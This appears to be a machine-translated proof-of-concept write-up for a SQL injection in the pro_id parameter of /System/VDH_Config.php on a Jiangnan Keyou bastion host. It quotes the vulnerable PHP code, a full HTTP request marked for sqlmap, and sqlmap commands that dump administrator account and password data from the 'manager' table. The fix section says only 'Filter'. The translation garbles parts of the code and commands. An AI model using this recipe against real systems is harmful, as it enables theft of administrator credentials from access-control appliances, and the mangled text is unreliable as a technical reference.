Getshell is one of the latest SQL injections on the Jiangnan keyou bastion host.

Getshell is one of the latest SQL injections on the Jiangnan keyou bastion host.

 

0x01 files with Vulnerabilities

/System/VDH_Config.php

The code that generates the vulnerability is as follows:

$ Res_names = $ odb-> getresidbypro ($ value ['protocolname']); if (empty ($ res_names) {$ odb-> DelOsAppRecord ('', $ _ GET ['Pro _ id'], '1');} else {$ error_msg = 'sorry, protocol deletion failed. The application protocol has been bound to the device. \ N to delete the protocol, first cancel the binding relationship between the Protocol and the device. ';}

The $ _ GET ['Pro _ id'] parameter has the SQL injection vulnerability...

0x02 proof of exploits

Directly run sqlmapto run data, and save it as post.txt.

POST /system/VDH_Config.php?flag=delete&pro_id=16%bf* HTTP/1.1Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateCookie: PHPSESSID=9b3173c590011a7abe90b9e8bb2fc0ecHost: 1xx.1xx.xx.xx:443Content-Length: 17Connection: Keep-AliveCache-Control: no-cacheAccept-Language: zh-CNProtocolName=2222

sqlmap -r post.txt,
 

Administrator-related data

Sqlmap-r post.txt -- dump "account, password"-T manager-D hacconf
 

 

 

Administrator Account Information
 

 

Solution:

Filter